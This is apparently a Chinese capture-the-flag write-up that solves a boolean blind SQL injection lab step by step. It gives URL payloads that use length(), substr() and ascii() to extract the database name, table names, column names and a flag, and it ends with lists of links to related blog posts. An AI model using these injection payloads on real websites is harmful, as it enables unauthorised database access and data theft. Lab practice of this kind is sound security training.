1.判断注入点

1 and 1=1

1 and 1=2

考虑存在布尔盲注

布尔盲注解释

当不能像前面那样直接在网页中显示我们要的数据时就需要用到盲注,来得到数据库之类的名字。基于布尔的盲注就是通过判断语句来猜解,如果判断条件正确则页面显示正常,否则报错,这样一轮一轮猜下去直到猜对。是挺麻烦但是相对简单的盲注方式。
2.判断当前数据库长度与名称
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length(database())>=3
通过判断出数据库长度后使用burpsuite的爆破功能可以获得数据库名称
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr(database(),1,1)>='a'

kanwolongxia

3.同理查询表长与名称

第一个表

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length((select table_name from information_schema.tables where table_schema='kanwolongxia'limit 0,1))=6

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr((select table_name from information_schema.tables where table_schema='kanwolongxia'limit 0,1),1,1)='a'

为loflag

第二个表

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length((select table_name from information_schema.tables where table_schema='kanwolongxia'limit 1,1))=3

injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr((select table_name from information_schema.tables where table_schema='kanwolongxia'limit 1,1),1,1)='a'

为new

第三个表同理

为user

无第四个表

4.列长与列段名

可直接查第一个表

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length((select column_name from information_schema.columns where table_name='loflag' limit 0,1))>=2

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='a'

为id

同理查第二表

为flaglo

5.查询字段即flag值

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length((select flaglo from loflag limit 0,1))>=8

injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr((select flaglo from loflag limit 0,1),1,1)='a'

这里就展示出了ascii码的作用,前面使用substr都可以,但是如果为q与Q,或者是-都无法使用substr识别,因而要添加ascii

后flag值为zKaQ-QQQ

掌控安全sql注入靶场pass-05的更多相关文章

  1. SQL注入靶场

    靶场搭建 系统环境&工具 环境采用centos7的版本(纯命令行),采用一键部署平台,phpstudy工具,安装教程链接:https://www.xp.cn/linux.html#instal ...

  2. SQL注入靶场实战-小白入门

    目录 SQL注入 数字型 1.测试有无测试点 2.order by 语句判断字段长,查出字段为3 3.猜出字段位(必须与内部字段数一致)(用union联合查询查看回显点为2,3) 4.猜数据库名,用户 ...

  3. SQL注入靶场sqli-labs 1-65关全部通关教程

    以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好 继续把以前有头没尾的事做完 以下为Sqli-lab的靶场全部通关答案 目录: less1-less10 less10-les ...

  4. 什么,有狗快跑!慢着,这次手把手教你怎么过安全狗!(sql注入篇)

    前言 在记忆里上次绕安全狗还是在上次,开开心心把自己之前绕过狗的payload拿出来,发现全部被拦截了,事情一下子就严肃起来了,这就开整. 环境 本次环境如下sqli-lab的sql注入靶场 网站安全 ...

  5. 第一次靶场练习:SQL注入(1)

    SQL注入1 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://117.41 ...

  6. 2019-10-24:伪静态,VULHUB搭建靶场,宽字节sql注入,笔记

    伪静态1,需要开启站点的重写机制,需要修改配httpd配置文件,将LoadModule rewrite_module modules/mod_rewrite.so注释取消,需要apache支持解析.h ...

  7. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  8. 靶场sql注入练手----sqlmap篇(纯手打)

    靶场地址:封神台 方法一.首先尝试手工找注入点判断 第一步,判断是否存在sql注入漏洞 构造 ?id=1 and 1=1 ,回车,页面返回正常 构造 ?id=1 and 1=2 ,回车,页面不正常,初 ...

  9. 记一次由sql注入到拿下域控的渗透测试实战演练(下)

    本次渗透使用工具: mimikatz,PsExec 本次渗透网络拓扑图: 开始渗透: 上一篇文章中我们讲到我们成功渗透了目标内网中web服务器并提取其管理员明文密码,通过明文密码又成功登陆了内网中的另 ...

随机推荐

  1. 调试备忘录-RS485 MODBUS RTU协议简述

    目录--点击可快速直达 目录 写在前面 先简单说下什么是MODBUS? 参考文章 写在前面 最近在做和物联网有关的小项目,有一个传感器通讯用到了RS485 MODBUS RTU协议,所以就写个随笔记录 ...

  2. mysql无法远程连接问题(ERROR 1045 (28000): Access denied for user 'root')

    mysql版本 : 8.0.21 使用mysql 作为nextcloud的数据库.之前使用挺正常的,因为被黑客勒索过一次,重新启动了一个mysql的docker镜像. 结果数据库配置老是失败,next ...

  3. start-stop-daemon: matching on world-writable pidfile /var/run/redis/redis-server.pid is insecurefailed

    Microsoft Store上 看到最新的Ubuntu 20.04 LTS 已经适配到WSL上了, 于是卸载了老版本 18.04 LTS,安装上了最新版本的. 第一次启动会比较慢,需耐心等待 Ins ...

  4. Android ActivityResumeTrigger: not whiteListed

    在点击返回按钮的时候报错: ActivityResumeTrigger: not whiteListed 合作者写的返回操作是: findViewById(R.id.lin_back).setOnTo ...

  5. JavaScript对象、函数、变量、字符串的处理、运算符

    一.对象 使用一种抽象的概念去描述,人{属性,方法} var car={type:"BYD",model:500,color:white,do:function(){"可 ...

  6. JavaScript的数据类型判断学习理解和数据处理

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  7. Java数据结构——二叉树节点的增删改查、获取深度及最大最小值

    一.查找最大值 // 查找最大值 public static Node maxNode() { Node node = root; Node maxNode = node; while (node ! ...

  8. Java 接口 抽象类 抽象方法

    abstract class elehousekeeping { //抽象家用电器类 abstract void opermode(); //抽象方法} class TV extends elehou ...

  9. jQuery源码分析系列(三)Sizzle选择器引擎-下

    选择函数:select() 看到select()函数,if(match.length === 1){}存在的意义是尽量简化执行步骤,避免compile()函数的调用. 简化操作同样根据tokenize ...

  10. Vue.$set的使用场景

    有这样一个需求,用户可以增加多个输入框可以编辑:     实现的思路很简单,点击增加的时候,往一个数组里面push一条数据即可: <template> <div> <di ...